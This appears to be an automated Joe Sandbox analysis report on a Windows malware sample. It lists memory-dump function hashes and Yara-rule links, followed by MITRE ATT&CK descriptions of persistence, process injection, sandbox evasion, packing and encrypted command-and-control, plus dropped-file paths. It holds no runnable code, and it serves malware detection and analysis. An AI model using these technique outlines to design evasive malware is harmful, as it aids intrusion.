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Opcode ID: 4039211f3d899ec0ac7ec8e240f30f1deacc2b9e43b9c177af1363b6398234a9
Instruction ID: 5c8f6a74095887580bde9fd5efaec3916382da9e6cb63bd2cccc2309d73599d5
Opcode Fuzzy Hash: 4039211f3d899ec0ac7ec8e240f30f1deacc2b9e43b9c177af1363b6398234a9
Instruction Fuzzy Hash: EBE1A330B28B8A4BD71C9E185C861B477D1EB96735B584A7EC487C3692EE24F45783C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590725D7 Relevance: 1.6, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF85909C035

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 68c90af175f73eb320243bccdbc35d47489df4599ac31a19b44b4641082cc6fd
Instruction ID: dda688e42132a2372fa1bd73ab241c8aa5f329d4f5c6023e71443c5485e6888e
Opcode Fuzzy Hash: 68c90af175f73eb320243bccdbc35d47489df4599ac31a19b44b4641082cc6fd
Instruction Fuzzy Hash: 26A14971E188E64BEB59AF6C64262BC2A96EF956F4F480979C04EC72D3CE18A8064341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590702E5 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

>`_^, xrefs: 00007FF8590703B1

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
String ID: >`_^
API String ID: 0-3365381830
Opcode ID: cf72277a3f01810d309b098d6efbefeb4ca08180bc29f028441c216c54fb6a32
Instruction ID: 78a383d51296be1365668908a711b4fb07a1a7c2c115a3f0d5e89ae5a57d0729
Opcode Fuzzy Hash: cf72277a3f01810d309b098d6efbefeb4ca08180bc29f028441c216c54fb6a32
Instruction Fuzzy Hash: E3712B67A0D1954BDB12AF2CBC5B0EA7FA0EF52375B1801B7D18886053EF14A98E86D4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859070305 Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

>`_^, xrefs: 00007FF8590703B1

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
String ID: >`_^
API String ID: 0-3365381830
Opcode ID: 1c6a92e06875bb6aa54c800dfec601e93a4a5a0871244813a02f3a6ad122d872
Instruction ID: 9c5de9da28c17cef9b3723fc0f853de724eba789d1117111e24fbc195a95e630
Opcode Fuzzy Hash: 1c6a92e06875bb6aa54c800dfec601e93a4a5a0871244813a02f3a6ad122d872
Instruction Fuzzy Hash: D851F96B90D1958BDB12AB2CFC9B0EA7FB4EF52370B1C01B7D28489053EF14698E85D4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590718ED Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 44fbd51f325785fbd6d009772690e46b380e4d05e138d9564ea043be29a5f84c
Instruction ID: b9f5c6b304a2c7ef5299586806edfb70c80693a6a07c00fdcb9d3502c5dcb70f
Opcode Fuzzy Hash: 44fbd51f325785fbd6d009772690e46b380e4d05e138d9564ea043be29a5f84c
Instruction Fuzzy Hash: C5910861D0C9CA4FDB89FF2864252B97BD1FF557B0F0805B9D45DC7293CE29A8068781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859070638 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 1e2101329bb5b8712f9bd535adacd89a0c0d178980d2195f0724fb4e0e1ff17e
Instruction ID: 6644461e7cd3fd39b9b6c622a1267f14142e4544888a696dfb261692df88b89a
Opcode Fuzzy Hash: 1e2101329bb5b8712f9bd535adacd89a0c0d178980d2195f0724fb4e0e1ff17e
Instruction Fuzzy Hash: BC915971D09A5D8FEF94DF6884597ADB7B1FB643A0F1401BAC00DE7291DB34A889CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859070835 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: e38a4d3fc0a312d83027ccf50a986c045e846a3b0b3c2d558e2669eb641aba9e
Instruction ID: 6a0878369328da2c59c7260ef204d817685cf81be7ea393378f12d88fa0c983d
Opcode Fuzzy Hash: e38a4d3fc0a312d83027ccf50a986c045e846a3b0b3c2d558e2669eb641aba9e
Instruction Fuzzy Hash: A7814B71E1998D9FEF94EF689854AFEB7F1FB69360F040639D00DE7281DB24A8498740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF85907092D Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: de0dfa0333808851d68dd256889607ae0c45d3fd859afc9d418de5dc9bd00b12
Instruction ID: 8744190df4317e269da70afb1b08d52713beedde04dac8a9c91fb20b8f017566
Opcode Fuzzy Hash: de0dfa0333808851d68dd256889607ae0c45d3fd859afc9d418de5dc9bd00b12
Instruction Fuzzy Hash: E5510470D1898D9FEF94EF98D854ABDB7F1FB69360F440579D00DE7282DB28A8498B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859071CD5 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 0bce3968b58fe98991a713228635d5c6fe2845f0ab01ca8bdba20f8da8c783d1
Instruction ID: 8bbef00a8306a84b64756de0ebd68cad1f0da3e391c227c51961c5bc5de7110a
Opcode Fuzzy Hash: 0bce3968b58fe98991a713228635d5c6fe2845f0ab01ca8bdba20f8da8c783d1
Instruction Fuzzy Hash: 36513971A0DACB9FDB55EF2864213E57BE1FF163A4F0909BDC04D87293CA259405C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859081249 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: b04099fd0a80405643863af5101c62dde1a2a910efca7b35114797beafc6c9c8
Instruction ID: 1fe7c229540343466929133408c488b7add2af88400431f05ddc0c50f0dedaa6
Opcode Fuzzy Hash: b04099fd0a80405643863af5101c62dde1a2a910efca7b35114797beafc6c9c8
Instruction Fuzzy Hash: 2341F476E096C84FDB959F78A4161ED7FF0EF96274F0905FBC049CB1A2DA28590A8381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590706A6 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 09b9c3d5400b5e5034f839d69edc611c59a87525f8d17759232a1aea058824b0
Instruction ID: c944e2d4b299793875f92bd7a63ed5b7cd5191168997e5957baeff51dbda8a83
Opcode Fuzzy Hash: 09b9c3d5400b5e5034f839d69edc611c59a87525f8d17759232a1aea058824b0
Instruction Fuzzy Hash: 9B418431C0D6898FEB91DF648815AAD7BF0EF66360F0806BAD04DDB192DB28A44DCB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859073A9D Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 2ecd1e17f7833192a5661fd31cec1817595dff1e8261d87a694f384a99198843
Instruction ID: 518661b71d6b40a22e3139181b96ab2796c817a2d11117bcddf16b968657ef83
Opcode Fuzzy Hash: 2ecd1e17f7833192a5661fd31cec1817595dff1e8261d87a694f384a99198843
Instruction Fuzzy Hash: 4E313860E0D5E90FE75D9B3C14650B97FE1EF45251F0805FFE09ACB1A3DA28D80A8780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590812A8 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 700bf186020dd740dfa695d20e32f6428f19e14e132109109330c8d51d2a036a
Instruction ID: c518e0f2100bfb50b5499502ffcbf0e7e733826f6ca5c8c9ac3c1c37b85a3e3c
Opcode Fuzzy Hash: 700bf186020dd740dfa695d20e32f6428f19e14e132109109330c8d51d2a036a
Instruction Fuzzy Hash: 11213772A096C94FDB96DF7CB4121AD7BE1EF922B4F0805FBC059CB162DB28490AC341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590731AD Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 773e9aeb7a74a68e218ea0d5a7a39b56a5790ec627df55589bf44f5081ac996b
Instruction ID: f2083f61148a83b27bee7bc79d8ebd54bad7a65393cc19b48e599630a86a08cc
Opcode Fuzzy Hash: 773e9aeb7a74a68e218ea0d5a7a39b56a5790ec627df55589bf44f5081ac996b
Instruction Fuzzy Hash: B2315A71E1D9C74BE769AF38202623A97E1FF116A4F084ABEC84DD77D2CF1498064380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859080DF2 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: ee27d610e69a47ceea54668075cfc55cf779da70f53c5305f088151d86e96c24
Instruction ID: 7ed1444c96cfac92196829237d0623fa22277ae0424fdc92b67e2f6637d182dc
Opcode Fuzzy Hash: ee27d610e69a47ceea54668075cfc55cf779da70f53c5305f088151d86e96c24
Instruction Fuzzy Hash: A331B531A0C6488FDB68DF1CE4156AA7BF1FF89311F1501BAD04DC76A2DB31A842CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859080D4F Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
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Opcode ID: 479a4a71815790a6055430770f38cb812dd7ee5656e2385ef64ac4570e5738f5
Instruction ID: 8e01f2fde2e30f4ef001a04d3dc66accbb995ba05d8e93539a32d542cb21a577
Opcode Fuzzy Hash: 479a4a71815790a6055430770f38cb812dd7ee5656e2385ef64ac4570e5738f5
Instruction Fuzzy Hash: 4621AB31A1D6488FDB68DF18D8066EEB7E1FF44361F0505BED44ED3A52DF25684A8640

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859072FE5 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 53767beac93f0b17d61db18638c8c191e039cf8246b0c93f22614468a8ee6254
Instruction ID: 2e434580888c3c58db5b4bea1fa815905bdb7be0295bc6300c1847cc2fe0cc5b
Opcode Fuzzy Hash: 53767beac93f0b17d61db18638c8c191e039cf8246b0c93f22614468a8ee6254
Instruction Fuzzy Hash: C72167E29085825FE35DAB28682B5767BE1EF576B4F1805BCD58E87393DD06A802C281

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF85907086E Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 18e1810a33a29e5838441d9af0444244f7a7f8a6af9ae9381ce79452417aebb7
Instruction ID: 60b0d832ca08780093f5afd4283098a88423932cf70402e92644ecdb132923ee
Opcode Fuzzy Hash: 18e1810a33a29e5838441d9af0444244f7a7f8a6af9ae9381ce79452417aebb7
Instruction Fuzzy Hash: A621A431D4D68D8FEB81DB688854AEEBBF1FF59360F080276D049E3192DB2855498751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859080DFC Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 6b1dfb57eb3349c2a4bfefbf2de6da182ffd855835aa042891b5d2ebd37e7102
Instruction ID: c3b05c8ab0c973fadf0c63b438afc6cbfa6edf62b0c5e476a41fb5df264db522
Opcode Fuzzy Hash: 6b1dfb57eb3349c2a4bfefbf2de6da182ffd855835aa042891b5d2ebd37e7102
Instruction Fuzzy Hash: B011B431A0C64CCFDB68DE18D8466BA77F0FF84361F05057EE05EC3A91DF25A8468A80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859080E5B Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 38cf5d56cce18f918f5644c19bc1cc19b59a33c36661bf4a30428d0855880a94
Instruction ID: bf5acc1985cc2e72c23ee5fa4a3f4f324d10bcb0f2e98447c2ed16ac4a40621c
Opcode Fuzzy Hash: 38cf5d56cce18f918f5644c19bc1cc19b59a33c36661bf4a30428d0855880a94
Instruction Fuzzy Hash: 2D11BE716085188FDB58DB1CE4556A9B7E1FF98311F1042AED14ED3666DB31A8828B84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590739E5 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 789ddcd12481568106a82edd3258e1edc2154f7aa4b982d14226a5ac38b79122
Instruction ID: 4ed760515a74764f34e14772fc6b467577402c0dbe6079e741124860c9c1b73c
Opcode Fuzzy Hash: 789ddcd12481568106a82edd3258e1edc2154f7aa4b982d14226a5ac38b79122
Instruction Fuzzy Hash: 520124B0814F475FE3A4AF2CA05D2B67BE0FF19261B08093FC94DC7621DB24A8C18380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF85907168F Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: ba1abec0b4d7a9c9b180e4a77e91b71a718de466df964d07ac62ca13cbcdb360
Instruction ID: 4906cdaae06683e46104878c1a37a10c2ce4dd8be7cb7d085a34af5a920ffe6c
Opcode Fuzzy Hash: ba1abec0b4d7a9c9b180e4a77e91b71a718de466df964d07ac62ca13cbcdb360
Instruction Fuzzy Hash: D7F0E131A1C8860BD7546A3C341C1BABBD5DB5A1B470805BFD40CC3287CC0168054381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590811E6 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
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Opcode ID: 8bcf38df15ba97b97200d07970d346a4ffea9d1cc9f6398746b49c7abfc30718
Instruction ID: 6ea7e5c464f62d09fe67f6928e8b03f67164a2f9c27b99223e3fadf7e5856a18
Opcode Fuzzy Hash: 8bcf38df15ba97b97200d07970d346a4ffea9d1cc9f6398746b49c7abfc30718
Instruction Fuzzy Hash: 5FF08B7051EB850FE3049F3874262A4BBD1FF062A4F0805FEC448CB2B3CA2A44058781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF85907FE65 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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Opcode ID: 1594a7efe7cc0a45c26014e52a47b750353d709dbdca0224a918f3e6b78f9753
Instruction ID: 496b4fc022c6f561a9cbce29c40f17c6fc06c16dd7425c2a0aabbd6ce5464c93
Opcode Fuzzy Hash: 1594a7efe7cc0a45c26014e52a47b750353d709dbdca0224a918f3e6b78f9753
Instruction Fuzzy Hash: 5EF0A072D1868C9FDB419B3898190A87FA0EF69220F5901E7D408CB0A2EA3469598351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF859081414 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
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Opcode ID: 731b50c3525a326509277e12488d81f03cbdf70423c0114abc5c50c097b95281
Instruction ID: 26af9fdcee751844c86d8d370fa9309a1a4ae0773bc590e7091dcf2a7ce9ff6a
Opcode Fuzzy Hash: 731b50c3525a326509277e12488d81f03cbdf70423c0114abc5c50c097b95281
Instruction Fuzzy Hash: E901D670A1A7C58FD3669F34A4243E67BE1EF56354F1904AED089CB3A3CA365404CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8590704CC Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
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Opcode ID: 5ac5c07cb503521f5a3861a7f453dfcd78fe0bd3c15776763f104a69e2a0e670
Instruction ID: 9744f60f967f7a6de6a37b5284abf8e804f8bd4292390471443244cc467ceba2
Opcode Fuzzy Hash: 5ac5c07cb503521f5a3861a7f453dfcd78fe0bd3c15776763f104a69e2a0e670
Instruction Fuzzy Hash: 93F06230D08A498FEBA49F6884443AE76F1FF54360F440A79C00DE3192CF35A4898B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF85907FE54 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.637998726.00007FF859070000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff859070000_Dwdsyugg.jbxd

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API ID:
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Opcode ID: 78b8f2656692f7c5fc0db5d6e02e649f1491536a7cb0865b0894041237e31361
Instruction ID: bbfce429b4bf7d44aab6a65dc2455233cb909acc0eeb28ef26ddf8488b16f46e
Opcode Fuzzy Hash: 78b8f2656692f7c5fc0db5d6e02e649f1491536a7cb0865b0894041237e31361
Instruction Fuzzy Hash: A9B0123144054D8B8F00DF10E4110E83351EF45324B440465E40DC7461DF22692C8781

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lZmUPfUitK.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\lZmUPfUitK.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

